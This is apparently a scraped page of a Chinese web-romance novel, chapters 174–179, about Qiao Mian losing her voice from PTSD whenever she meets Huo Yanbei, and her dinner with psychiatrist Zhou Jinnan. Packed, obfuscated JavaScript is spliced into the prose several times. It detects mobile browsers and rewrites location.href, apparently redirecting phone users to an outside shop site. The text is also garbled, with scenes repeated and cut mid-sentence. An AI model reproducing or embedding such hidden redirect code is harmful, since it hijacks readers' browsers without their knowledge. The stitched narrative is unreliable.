霍宴北头疼的按了按眉心。 顾淮年啧了一声,“你好像很关注那个小护工?” 男人没理他。 顾淮年:“你今天刚退烧就出来,可别再又严重了,等下跟我一起回医院……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173478|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍宴北吩咐跟在一旁的陈珂,“今天就办出院。” 说完,抬步离开了。 顾淮年跟出餐厅:“我靠,你满打满算就在医院住了五天,病还没好利索呢!” 回应他的是砰一声,车门关闭的声音。 陈珂颔首道,“顾少,二爷的性子您了解,怕是咱们都劝不动,之后,二爷若是再反复高烧的话,请您跑一趟帝澜别墅吧。” “行!欠他的!” 顾淮年无奈的叹了一口气。 …… 周津南看不懂手语,所以,乔眠用手机记事本编辑文字,问他,【你认识霍宴北?】 “你还真是一看到霍宴北就失声了。” 周津南怜悯的眼神看向乔眠,“我跟他见过一面。” 至于和霍宴北有过怎样的纠葛,他没说。 乔眠也没问。 “放心,他没认出你。” 周津南说。 乔眠点了下头。 他明明在医院。 他那病,少说也得半个月才能出院。 想到这里,她使劲掐了掐手心。 提醒自己,不要再去想任何与霍宴北相关的事情。 远离他,她的心,才会得到治愈。 周津南提出要送她,她婉拒了。 不顺路。 就是给别人填麻烦。 她不喜欢欠人情。 还要还。 她很穷,也很忙。 没有太多精力维护人际关系。 不过,周津南没有强求。 这些年,她的性子变了许多。 对谁都是温温婉婉的,好像没有脾气,却总是给人一种距离感。 边界感更是清清楚楚。 周津南望着女人小跑追着即将到站的一辆公交车时,眸底藏着的情愫一点点蔓延开来。 他想起,那年夏天,他还在海城医学院上大四。 她生日那天,他去京大见了乔眠。 那是高中毕业后,两人第一次见面。 她好像连自己的生日都忘了,两人在食堂吃了一碗米线。 那时,她虽然很胖。 却依旧耀眼。 少年青涩的表白没有说出口,离开京大时,却被几个人高马大的人,绑进了一辆宽敞的豪车里。 第174章 心疼 萧明城对于乔眠而言,就是一个掉马的雷点。 她自己都没想好如何应付萧明城,现在又被霍宴北逼问,双重压力之下,她只能选择装聋作哑。 “我探视当事人之前,根本不知道萧总和当事人的关系,今天也确实是偶遇到他的,我……” 乔眠脸红的躲开他鼻息间喷洒出来的灼烫呼吸,目光落在男人冻得有些干裂泛红的面颊上,忍不住伸手,轻轻抚了一下,“我没骗你……” 最后一句话,软懦乖软,像是做错了事情的孩子,带着一点讨好求饶的语调,连她自己都被自己的状态惊讶到。 她紧紧咬了一下唇角,有些懊恼的偏过脸,神态恢复冷静,一双小手抵住他的胸膛:“如果你不信,我可以不跟这个案子。” 如果继续跟这个案子,就少不得和萧明城联系、见面,若是他再步步紧逼,她怕自己应付不过来。 有一个霍宴北紧紧揪住她不放已经够了,又冒出一个萧明城,她真的疲于应对。 所以,回去后,她打算跟蒋主任提议,换一个律师。 虽然,这么做,对律师而言,很败职业操守。 “乔眠,你每一次突然变乖懂事,都透着一种算计。” 说到这里,霍宴北凉薄的唇在她柔软的唇上惩罚式的重重咬了一口,“你性子那么倔,工作上很有原则,怎么会因为我一两句逼问,就轻易放弃自己手头上的案子?” “……” 乔眠心虚的不敢跟他对视。 他这个人总能轻易就看穿她的心思。 就在她不知所措该如何应对他的逼问时,男人轻叹了一声,揽着她起身后,重新弯下腰,继续给她洗脚。 “我跟萧总真的不熟……” 难得他没有逼迫她,乔眠觉得心里有一丝说不清楚的情绪,再次解释了一句。 有安抚,也有想让他把注意力从萧明城身上挪走。 霍宴北用毛巾擦干净她白皙暖乎的小脚,端着盆起身去了一趟卫生间。 再出来时,走到床前,直接褪掉裤子,掀开被子躺在了床上。 预判到乔眠惊慌要躲,在她作出下床的动作之前,一把将人拽进被窝中,紧紧扣在怀里。 “跑哪儿去?” 男人侧头,轻轻吻了吻她的鬓发,呢喃道。 “我去睡沙发。” 虽然跟他已经是扯不清的关系,但是,每次跟他独处时,她还是无法做到跟他和谐相处。 小白兔跟狼躺在一个窝里,除了被吃掉的下场,没有其他结局。 就在她刚挣扎着起身时,男人揽紧她的腰,就将她拽了回去,“今晚在高速上找了你很久,后来又快把整个镇子翻遍了,你觉得我还有精力动你?” 他再次洞察她的心思,知道她在怕什么,安抚了一句,让她放心。 但是,乔眠不信他。 虽然被他紧紧抱着无法脱身,但是,身心都绷着一根弦,闭上眼睛假装要睡觉的模样,不肯与他说话。 霍宴北沉默抱着她良久后,下巴轻蹭着她松软的发顶,嗓音压得很低,“你不必紧张,萧明城的案子,你愿意继续跟下去就跟,不想做就不做,我不会勉强你。” 他冷不丁冒出一句已经终结的话题,乔眠有些诧异的抬眸看着他。 以霍宴北的性子,即便不刨根问底,也会逼着她远离萧明城,怎么会这么通情达理? 不过,不管他心里盘算着什么,她都不打算再接那个案子。 她得离萧明城远远的。 “今天谢谢你帮我接孩子……” 乔眠僵硬的转移了话题。 霍宴北侧过身,落在她腰上的手臂用力一卷,将她整个人更深的纳入怀中,下巴抵着她的额头,时不时摩挲着,“我们之间不需要说谢谢,乔眠,你信任我,我很高兴,而且,我也喜欢他们三个小宝。” 乔眠的心像是被柔软的羽毛拨弄了一下,心跳莫名加速,连带着耳朵都是烫烫的。 但思绪平静下来后,又觉得心里酸酸的。 她在想,如果六年前没有发生后面那些事情,她和他会有一个好的结局吗? 想到这里,她又 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她差点露馅,又紧急找补的小模样,落在霍宴北眼底又可爱又让他心疼。 “PTSD是什么……” “就是心理和精神遭受过严重创伤或是经历重大事故后,表现出过度紧张和恐惧的焦虑情绪,俗称,创伤性应激障碍。” “……” 听到这个诊断,乔眠脸色微微泛白:“我之前只是抑郁症,这些年,我的日子平平淡淡,并没有经历过创伤事件。” 周津南轻声道:“六年前,你因为霍宴北遭受情伤,又在一场大火中死里逃生,一个人艰难产子,这些创伤和变故,造成了你长达六年的精神抑郁。” “如今,你再见到他这个人,心理和精神一直处于紧张、恐惧的状态中,病情反而加重了,说明霍宴北就是你患上PTSD的病灶根源。” 第175章 担心他,扑进了他怀里 周津南解释的很明白。 乔眠也听明白了。 的确。 这些年,她从不敢想起和霍宴北之间曾经发生过的种种。 那些回忆,像是一味**,每回忆一次,就发作一次。 焚心蚀骨的痛。 她回避、压抑了六年。 再次见到霍宴北,好像那些早已渗入骨髓血液里的**,顷刻间就毒发了。 六年前,霍宴北是她戒不掉一味毒。 上瘾。 却也致命。 乔眠垂着颤动的羽睫,失神地喃喃出声:“所以,我失声,是因为,见到了霍宴北……” 周津南:“是的,霍宴北就是造成你心理创伤的源头。” 垂落下来的双手一点点蜷缩成拳头。 乔眠平静的嗓音里,带着一丝极致隐忍下的颤抖:“能治愈吗?” 周津南看着她鬓发沁着一层薄细的濡湿,把她面前那杯水端起来,放进她手里。 乔眠眼神晃动一下,就像渴了很久的一只小猫,动作有些急促,咕咚咕咚一口气喝完了。 周津南看着她此刻这个样子,不禁想起高中时的她…… 那时候,他不明白,她为什么总是拼命吃东西。 后来,他学了心理学后,才明白,高中那件事后,她就已经留下心理疾病了…… “你现在偶尔还会暴饮暴食吗?” 周津南问。 乔眠蹙眉。 有些抗拒这个问题。 顿了两秒,回道:“很少。” 周津南嗯了一声。 想想也是。 她现在已经瘦成这样了。 他将话题回到她的病情上:“除了在霍宴北面前失声,还有没有在其他情景下,出现过这种症状?” 乔眠摇头:“只有在他面前会失声……” “如果是这样的话……” 周津南转了一下指间的钢笔,轻挑眉宇:“远离病灶,是治愈你最好的良药。” “……” 乔眠哑然。 她的病灶,是霍宴北。 周津南敲击着键盘开药,一直没听到她回应,轻笑着抬眸看了她一眼:“当然,如果你想治愈PTSD的话,目前有心理疗法和……” 乔眠轻声打断,“周医生,不花钱就能治愈的病,挺好的,不是吗?” 说完,她起身,冲周津南弯了弯唇,“不必开药了。” 远离霍宴北,她就能回到以前平静的日子,也不会再变成一个小哑巴。 她得了一种远离霍宴北就能安好的病。 挺好。 如果时间可以倒流,她宁愿早点得这种病——远离霍宴北。 从诊室出来,乔眠走到电梯口等电梯。 周津南走了过来。 此时,他已经褪去了白大褂。 穿着一件polo衬衫领白色毛衣,黑色长裤,外面罩着一件深灰色毛呢大衣。 气质清隽又干净。 “老同学,这么久没见面了,一起吃个饭吧?” 周津南看着她,眉眼温润地笑。 “我……” 乔眠本能想拒绝。 但是,想到在海城,他帮过她。 拒绝,显得太没有人情味了。 她点头:“好。” 周津南:“想吃什么?” “你来定吧。” “西餐怎么样?” “可以。” 周津南看着她一板一眼的样子,有些怜悯。 他认识的乔安,曾经会鲜活的笑。 也有脾气和傲骨的。 可现在,她才二十六岁,却像是饱经沧桑后的一个孤勇者。 她表现出来的从容淡静,是克制隐忍之下筑起的一层保护壳。 …… 花园西餐厅。 周津南和乔眠正在用餐。 顾淮年从二楼楼梯拐角下来。 捕捉到一抹熟悉的女人身影时,顿住了脚步。 他又往下走了几个台阶,仔细一瞧。 眉头不由地扬了扬。 这不是那个小护工吗? 和一个男人有说有笑的。 他转身,准备回去跟那位尊神八卦一下时,霍宴北不知什么时候已经走到了他身旁。 清冷的目光定定的望着不远处坐在靠窗位置的乔眠。 和一个……男人。 她今天化了妆,绾了个低马尾。 米色紧身高领毛衣,包裹着细柔的腰,丰盈的胸。 额角鬓边细柔的胎毛刘海慵懒微卷,侧颜柔美,有一种伦敦玫瑰的风情美。 对面的男人,不知道说了什么,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她慌忙错开男人的盯视,看了一眼周津南。 周津南心领神会,起身道:“乔眠是我的朋友,霍先生也认识她?” 霍宴北深深地盯着周津南数秒后,再次看向乔眠,“你说呢?” 乔眠张了张嘴,想说话,却说不出来。 她再次失声了。 “听不到,还是听不懂?” 霍宴北说出这句话的同时,戏谑地眼神盯着乔眠,用手语翻译了一遍。 第176章 坦诚 六年了,乔眠从未像这一刻,撕裂的情绪在天堂和地狱之间转圜。 她整个人都是懵懵的状态。 即便此刻,感受着他双臂愈发有力的抱紧她的身体,她仍是有一种不太真实的感觉。 她第一次无所顾忌的放任自己随心而走。 就像突然丢了一样不再想要的东西,可是,当真的弄丢了一刻,才惊觉,原来,那件东西在她心里,依旧珍贵…… 过度惊吓的刺激,又失而复得的激动,冰火两重天的情绪揉杂在一起,让乔眠的心好长时间还是悬空的状态。 而霍宴北,情绪波动比她还大。 刚才,他目睹了乔眠冲进警戒线的全部过程。 他看到她满脸惊慌,歇斯底里喊出那句‘我丈夫埋在下面’,也看到了她捡起那串手链,跪在地上流泪的模样。 若不是看到她疯了似的徒手刨土,他自私的想继续当一个看客,看下去。 他想确认,阿妩心里是不是还装着他? 当他禁不住唤出阿妩时,她扑进他怀里抱住他那一刻,他觉得什么都不重要了。 她是否还爱着他,又有什么关系? 反正,这辈子,她只能和他在一起。 他有一辈子的时间,等她。 这时,真正被埋的人救了出来。 听消防员惊呼还有生命特征。 围观的人一个个都松了一口气。 乔眠和霍宴北淹没在人群的鼓掌声中。 觉察到领口一片濡湿,霍宴北轻轻将她从怀里拉开一些,这才看到乔眠哭了。 脸上还挂着大颗的泪珠。 “别哭……” 他满眼心疼的用指背刮掉那些泪珠,唇角牵起一抹宠溺的笑,“原来我老婆这么怕我死?” “什么老婆……别乱叫!” 男人声音温柔,“刚才你不是还称我是你丈夫?” “我那是故意说的,要不然,他们不让我留下……” “留下做什么?刨土,挖出我的尸……” 男人话还未说完,就被乔眠还沾着泥污的小手捂住了。 紧接着,就听到女人凶里凶气的声音,“别说了,也不嫌忌讳?” 语落,后知后觉的意识到的失态,有些懊悔,还有些慌措。 一把推开他,红着湿漉漉的眼睛,嗔怪的瞪他一眼,“你是我老板,要是出事了……谁给我开工资。” 她说话的声音很小,但是,那副幽怨娇嗔的小表情,落在周围人眼底,像极了打情骂俏。 注意到被围观群众无数道目光关注,乔眠有些难为情的快速走出了人群。 霍宴北紧跟上来,一把攥住她的手腕,正欲开口时,遇到了赶过来的女房主。 “姑娘,刚才我话还没说完呢,你就着急慌忙的跑了出去。” 说到这里,女房主拍着还有些喘的胸口,看向霍宴北,“先生,瞧把你妻子着急的,她还以为是你出事了呢。” 说罢,又补充了一句,“你们夫妻两个感情可真好。” …… 回到医院后。 “PTSD是什么……” “就是心理和精神遭受过严重创伤或是经历重大事故后,表现出过度紧张和恐惧的焦虑情绪,俗称,创伤性应激障碍。” “……” 听到这个诊断,乔眠脸色微微泛白:“我之前只是抑郁症,这些年,我的日子平平淡淡,并没有经历过创伤事件。” 周津南轻声道:“六年前,你因为霍宴北遭受情伤,又在一场大火中死里逃生,一个人艰难产子,这些创伤和变故,造成了你长达六年的精神抑郁。” “如今,你再见到他这个人,心理和精神一直处于紧张、恐惧的状态中,病情反而加重了,说明霍宴北就是你患上PTSD的病灶根源。” 周津南解释的很明白。 乔眠也听明白了。 的确。 这些年,她从不敢想起和霍宴北之间曾经发生过的种种。 那些回忆,像是一味**,每回忆一次,就发作一次。 焚心蚀骨的痛。 她回避、压抑了六年。 再次见到霍宴北,好像那些早已渗入骨髓血液里的**,顷刻间就毒发了。 六年前,霍宴北是她戒不掉一味毒。 上瘾。 却也致命。 乔眠垂着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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穿着一件polo衬衫领白色毛衣,黑色长裤,外面罩着一件深灰色毛呢大衣。 气质清隽又干净。 “老同学,这么久没见面了,一起吃个饭吧?” 周津南看着她,眉眼温润地笑。 “我……” 乔眠本能想拒绝。 但是,想到在海城,他帮过她。 拒绝,显得太没有人情味了。 她点头:“好。” 周津南:“想吃什么?” “你来定吧。” “西餐怎么样?” “可以。” 周津南看着她一板一眼的样子,有些怜悯。 他认识的乔安,曾经会鲜活的笑。 也有脾气和傲骨的。 可现在,她才二十六岁,却像是饱经沧桑后的一个孤勇者。 她表现出来的从容淡静,是克制隐忍之下筑起的一层保护壳。 …… 花园西餐厅。 周津南和乔眠正在用餐。 顾淮年从二楼楼梯拐角下来。 捕捉到一抹熟悉的女人身影时,顿住了脚步。 他又往下走了几个台阶,仔细一瞧。 眉头不由地扬了扬。 这不是那个小护工吗? 和一个男人有说有笑的。 他转身,准备回去跟那位尊神八卦一下时,霍宴北不知什么时候已经走到了他身旁。 清冷的目光定定的望着不远处坐在靠窗位置的乔眠。 和一个……男人。 她今天化了妆,绾了个低马尾。 米色紧身高领毛衣,包裹着细柔的腰,丰盈的胸。 额角鬓边细柔的胎毛刘海慵懒微卷,侧颜柔美,有一种伦敦玫瑰的风情美。 对面的男人,不知道说了什么,她嫣然浅笑,眼睛弯弯的。 很是恬静温婉。 顾淮年咂嘴:“这小护工看起来不像有钱的样子,居然跟男人来这种高档餐厅,还聊的这么热乎,该不是她傍上的有钱富二代?” 霍宴北盯着女人柔软的笑颜,幽暗深邃的眼眸里,好像感情已被冰封,只剩下冷漠与审视。 “不是。” 她结婚了…… 至于这个男人是…… 他眼眸微凛,抬步走过去。 乔眠在感受到一道灼热的视线落于身上时,神经敏感的转眸看过去。 正好与霍宴北漆黑深邃的冷眸撞上。 哐啷一声。 手中端着的一杯咖啡,从微微颤抖的指间滑落在桌面上。 深褐色液体,沿着桌面,洒在腿上。 下意识的惊惧和慌乱,让她连躲避的动作都没有。 “怎么了?” 周津南见状,急忙从口袋拿出手帕,递给她:“擦擦吧。” “呃……” 乔眠回过神来,接过手帕,低头擦拭着被染了颜色的裤子。 周津南这才注意到身侧站着一个人。 看清楚来人是谁时,脸色微微一变。 周津南匆匆瞥了一眼乔眠,想装不认识的,但是,霍宴北已经念出他的名字:“周津南。” 周津南薄唇轻扯:“这么多年过去了,没想到霍先生还记得我这个无名小卒,真是荣幸。” 乔眠听到两人对话,抬起头来,目光在两人之间转换。 记忆中,这俩人没有任何交集,什么时候认识的? 霍宴北垂眸,目光落在乔眠白净漂亮的脸上,问周津南:“周先生和她认识很久了?” “……” 乔眠瞳孔微震。 裤缝在指间攥出折痕。 她慌忙错开男人的盯视,看了一眼周津南。 周津南心领神会,起身道:“乔眠是我的朋友,霍先生也认识她?” 霍宴北深深地盯着周津南数秒后,再次看向乔眠,“你说呢?” 乔眠张了张嘴,想说话,却说不出来。 她再次失声了。 “听不到,还是听不懂?” 霍宴北说出这句话的同时,戏谑地眼神盯着乔眠,用手语翻译了一遍。 乔眠呼吸一滞。 慌忙起身,看向周津南。 周津南走到她身边,看向霍宴北,“霍先生,抱歉,我和朋友还有事,就先走了。” 说完,绕过霍宴北准备走时,霍宴北将身上的西装外套脱了下来,罩在乔眠身上,淡声道,“遮一下。” 外套还残留着专属于男人的体温,还有那股淡淡的草木香。 熟悉到骨子里的气息,让她心神恍惚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184131|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不禁想起那些无数个沉溺在这种熟悉的气息中,耳鬓厮磨的夜里。 她低着头,攥紧外套,逃一般走出了餐厅。 霍宴北望着消失在视线里的一对男女,胸腔里泛起一抹异样的情绪。 让他有些不舒服的咳嗽了两声。 咳得肺腑生疼。 顾淮年扶住他:“你认识那个男人?” 霍宴北冷笑:“认识。” 今日场景,一如那年夏天,他买了生日礼物,去学校找霍妩。 却在食堂里,看到她跟一个男生坐在一起吃饭的情景。 那人便是周津南。 当时,他很生气,扔了生日礼物…… 只是—— 周津南当年认识霍妩,现在又跟他,同时认识乔眠。 这么巧吗? 而且,乔眠明明刚才还和周津南聊的热乎,见了他,又不说话了。 她是在故意回避他? 霍宴北头疼的按了按眉心。 顾淮年啧了一声,“你好像很关注那个小护工?” 男人没理他。 顾淮年:“你今天刚退烧就出来,可别再又严重了,等下跟我一起回医院……” 霍宴北吩咐跟在一旁的陈珂,“今天就办出院。” 说完,抬步离开了。 顾淮年跟出餐厅:“我靠,你满打满算就在医院住了五天,病还没好利索呢!” 回应他的是砰一声,车门关闭的声音。 陈珂颔首道,“顾少,二爷的性子您了解,怕是咱们都劝不动,之后,二爷若是再反复高烧的话,请您跑一趟帝澜别墅吧。” “行!欠他的!” 顾淮年无奈的叹了一口气。 …… 周津南看不懂手语,所以,乔眠用手机记事本编辑文字,问他,【你认识霍宴北?】 “你还真是一看到霍宴北就失声了。” 周津南怜悯的眼神看向乔眠,“我跟他见过一面。” 至于和霍宴北有过怎样的纠葛,他没说。 乔眠也没问。 “放心,他没认出你。” 周津南说。 乔眠点了下头。 他明明在医院。 他那病,少说也得半个月才能出院。 想到这里,她使劲掐了掐手心。 第178章 回顾过往 VIP套房。 霍宴北看到二手APP的订单信息被取消时,脸色沉了沉。 她……不想卖了? 什么意思? 她想留着那条手帕? 他还想再问清楚,发现消息已经发不过去了。 他被拉黑了…… 霍宴北泛白的薄唇,微微抽搐了一下。 乔眠。 真是个奇怪的女人。 当他再一次点开微信,看到好友申请也被拒绝时,整张脸直接黑了。 意识到自己遭嫌弃了,他当即就要拨通她的手机时,看时间已经九点半了。 她说自己有丈夫。 这个点,打电话过去……不合适。 罢了。 她又不是阿妩。 何必在意。 他收起手机,吩咐陈珂:“把护工费给她结算了。” “是。” 陈珂明白,二爷这意思是,以后不会跟这个小护工有牵扯了。 只是,隔天下午,霍宴北收到一个快递。 打开看到是他的手帕时,晦暗的冷眸闪过一抹异样的兴味。 乔眠。 很奇怪。 也很有意思。 …… 这周五。 乔眠去了圣德医院。 见了她的高中同学,周津南。 两人在学校关系还算融洽的原因是,一个沉默,一个寡言。 他家,和她曾经养父母家都住在职工回迁楼里。 严格来说,两人算是发小。 他是厂办主任的儿子。 从小生活优渥。 小学和初中,上的都是那片最好的学校。 乔眠若不是考上京市的重点高中,也没有机会跟他在一个学校。 高中毕业后,她上了京大。 他考上了海城的医科大学。 那几年,两人很少联系。 只是,他每一年都会戳她的QQ,问她去不去参加高中同学聚会。 每次,她都只回两个字:不去。 大学四年,两人只见过一面。 那次,他去学校找她。 她胖的他都认不出她了。 她请他在京大食堂吃了一碗米线。 他说,以后会经常来学校看她。 只是,后来,不知道为什么,再也没来找过她。 不过,她不在意。 从小,她就没有朋友。 她的世界一直都是孤独的。 和霍宴北在一起,更是一步步堕入地狱。 和周津南再次见面,是在海城。 那时,她刚生完孩子没多久…… 他在海城医院实习。 那次,她挂的是心理科。 后来,就一直保持着联络。 三年前,他家里催婚,所以,先回了京市。 她今天来,没有事先联系他。 按流程挂了他的号。 心理专家科,二号诊室。 “您好,乔女士,周医生诊室还有一位病患,请您稍等一下。” 护士温声提醒。 圣德医院是一家私立医院,对病患一对一服务。 除了贵,没毛病。 “谢谢。” 约模等了半个多小时,病患出来后,乔眠拿着挂号单走进诊室。 周津南看到她时,着实一愣。 “乔安,怎么是你……” 周津南长相斯文清俊,穿着白大褂,干净清爽。 眉眼柔和,很有亲和力。 乔眠跟他相处,从不会有压力。 “周医生,还是叫我乔眠吧。” “抱歉,乔安这个名字,叫习惯了……” 乔眠没作声。 和霍宴北回到霍家以前,她叫乔安。 已经很久,没人叫她这个名字了。 周津南起身,倒了一杯水放在她面前:“老同学,三年没见,你一点儿都没变。” 还像高中时那样好看。 只是,高二时,经历了那件事后,她就开始发胖了…… “你也没有变。” 乔眠应了一句。 周津南敛去思绪,问:“你什么时候回京市的?” “搬回京市三个多月了。” 他有些意外,温润的眸底划过一抹幽微的亮色:“怎么也不说一下,我去看看你和孩子们。” 乔眠莞尔,“现在亲自来告诉你了。” 周津南接过她手里的挂号单:“你今天找我,可不是叙旧的吧?是不是给你开的药吃完了?” 乔眠摇头:“周津南,我可能病得更严重了。” 当年,她生完孩子,因为长期焦虑不安,身体也不好,患有重度抑郁症。 这些年,一直从周津南这里拿抗抑郁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184132|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 症的药。 三年前,他回了京市,她还在海城,他就把药邮寄给她。 “上次打电话时,你还问我需不需要停药,怎么还严重了?” 周津南问话时,眼睛一直在观察乔眠。 虽然她表情和说话时的语气都很平静,但是,搁在桌子上的一双小手,紧紧绞在一起。 指甲都把虎口抠出红印了。 说明她内心很焦虑。 周津南起身走到窗口,将窗纱拉上。 诊室的光线黯淡下来。 他又放了一首舒缓解压的轻音乐。 他没有再问她任何问题。 乔眠心神放松下来后,主动开口,把每次遇到霍宴北就失声的问题说了。 周津南听后,没有立即给出诊断。 开了检查单,让她先去检查。 拿到检查结果,又给她做了一次心理测试后,周津南神色凝重的给出诊断:“乔……眠,你的喉部和声带没有器质性病变,你生理性失声,是因为患了PTSD。” “PTSD是什么……” “就是心理和精神遭受过严重创伤或是经历重大事故后,表现出过度紧张和恐惧的焦虑情绪,俗称,创伤性应激障碍。” “……” 听到这个诊断,乔眠脸色微微泛白:“我之前只是抑郁症,这些年,我的日子平平淡淡,并没有经历过创伤事件。” 周津南轻声道:“六年前,你因为霍宴北遭受情伤,又在一场大火中死里逃生,一个人艰难产子,这些创伤和变故,造成了你长达六年的精神抑郁。” “如今,你再见到他这个人,心理和精神一直处于紧张、恐惧的状态中,病情反而加重了,说明霍宴北就是你患上PTSD的病灶根源。” 周津南解释的很明白。 乔眠也听明白了。 的确。 这些年,她从不敢想起和霍宴北之间曾经发生过的种种。 那些回忆,像是一味**,每回忆一次,就发作一次。 焚心蚀骨的痛。 她回避、压抑了六年。 再次见到霍宴北,好像那些早已渗入骨髓血液里的**,顷刻间就毒发了。 六年前,霍宴北是她戒不掉一味毒。 上瘾。 却也致命。 第179章 一点都不想他 乔眠垂着颤动的羽睫,失神地喃喃出声:“所以,我失声,是因为,见到了霍宴北……” 周津南:“是的,霍宴北就是造成你心理创伤的源头。” 垂落下来的双手一点点蜷缩成拳头。 乔眠平静的嗓音里,带着一丝极致隐忍下的颤抖:“能治愈吗?” 周津南看着她鬓发沁着一层薄细的濡湿,把她面前那杯水端起来,放进她手里。 乔眠眼神晃动一下,就像渴了很久的一只小猫,动作有些急促,咕咚咕咚一口气喝完了。 周津南看着她此刻这个样子,不禁想起高中时的她…… 那时候,他不明白,她为什么总是拼命吃东西。 后来,他学了心理学后,才明白,高中那件事后,她就已经留下心理疾病了…… “你现在偶尔还会暴饮暴食吗?” 周津南问。 乔眠蹙眉。 有些抗拒这个问题。 顿了两秒,回道:“很少。” 周津南嗯了一声。 想想也是。 她现在已经瘦成这样了。 他将话题回到她的病情上:“除了在霍宴北面前失声,还有没有在其他情景下,出现过这种症状?” 乔眠摇头:“只有在他面前会失声……” “如果是这样的话……” 周津南转了一下指间的钢笔,轻挑眉宇:“远离病灶,是治愈你最好的良药。” “……” 乔眠哑然。 她的病灶,是霍宴北。 周津南敲击着键盘开药,一直没听到她回应,轻笑着抬眸看了她一眼:“当然,如果你想治愈PTSD的话,目前有心理疗法和……” 乔眠轻声打断,“周医生,不花钱就能治愈的病,挺好的,不是吗?” 说完,她起身,冲周津南弯了弯唇,“不必开药了。” 远离霍宴北,她就能回到以前平静的日子,也不会再变成一个小哑巴。 她得了一种远离霍宴北就能安好的病。 挺好。 如果时间可以倒流,她宁愿早点得这种病——远离霍宴北。 从诊室出来,乔眠走到电梯口等电梯。 周津南走了过来。 此时,他已经褪去了白大褂。 穿着一件polo衬衫领白色毛衣,黑色长裤,外面罩着一件深灰色毛呢大衣。 气质清隽又干净。 “老同学,这么久没见面了,一起吃个饭吧?” 周津南看着她,眉眼温润地笑。 “我……” 乔眠本能想拒绝。 但是,想到在海城,他帮过她。 拒绝,显得太没有人情味了。 她点头:“好。” 周津南:“想吃什么?” “你来定吧。” “西餐怎么样?” “可以。” 周津南看着她一板一眼的样子,有些怜悯。 他认识的乔安,曾经会鲜活的笑。 也有脾气和傲骨的。 可现在,她才二十六岁,却像是饱经沧桑后的一个孤勇者。 她表现出来的从容淡静,是克制隐忍之下筑起的一层保护壳。 …… 花园西餐厅。 周津南和乔眠正在用餐。 顾淮年从二楼楼梯拐角下来。 捕捉到一抹熟悉的女人身影时,顿住了脚步。 他又往下走了几个台阶,仔细一瞧。 眉头不由地扬了扬。 这不是那个小护工吗? 和一个男人有说有笑的。 他转身,准备回去跟那位尊神八卦一下时,霍宴北不知什么时候已经走到了他身旁。 清冷的目光定定的望着不远处坐在靠窗位置的乔眠。 和一个……男人。 她今天化了妆,绾了个低马尾。 米色紧身高领毛衣,包裹着细柔的腰,丰盈的胸。 额角鬓边细柔的胎毛刘海慵懒微卷,侧颜柔美,有一种伦敦玫瑰的风情美。 对面的男人,不知道说了什么,她嫣然浅笑,眼睛弯弯的。 很是恬静温婉。 顾淮年咂嘴:“这小护工看起来不像有钱的样子,居然跟男人来这种高档餐厅,还聊的这么热乎,该不是她傍上的有钱富二代?” 霍宴北盯着女人柔软的笑颜,幽暗深邃的眼眸里,好像感情已被冰封,只剩下冷漠与审视。 “不是。” 她结婚了…… 至于这个男人是…… 他眼眸微凛,抬步走过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188551|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 乔眠在感受到一道灼热的视线落于身上时,神经敏感的转眸看过去。 正好与霍宴北漆黑深邃的冷眸撞上。 哐啷一声。 手中端着的一杯咖啡,从微微颤抖的指间滑落在桌面上。 深褐色液体,沿着桌面,洒在腿上。 下意识的惊惧和慌乱,让她连躲避的动作都没有。 “怎么了?” 周津南见状,急忙从口袋拿出手帕,递给她:“擦擦吧。” 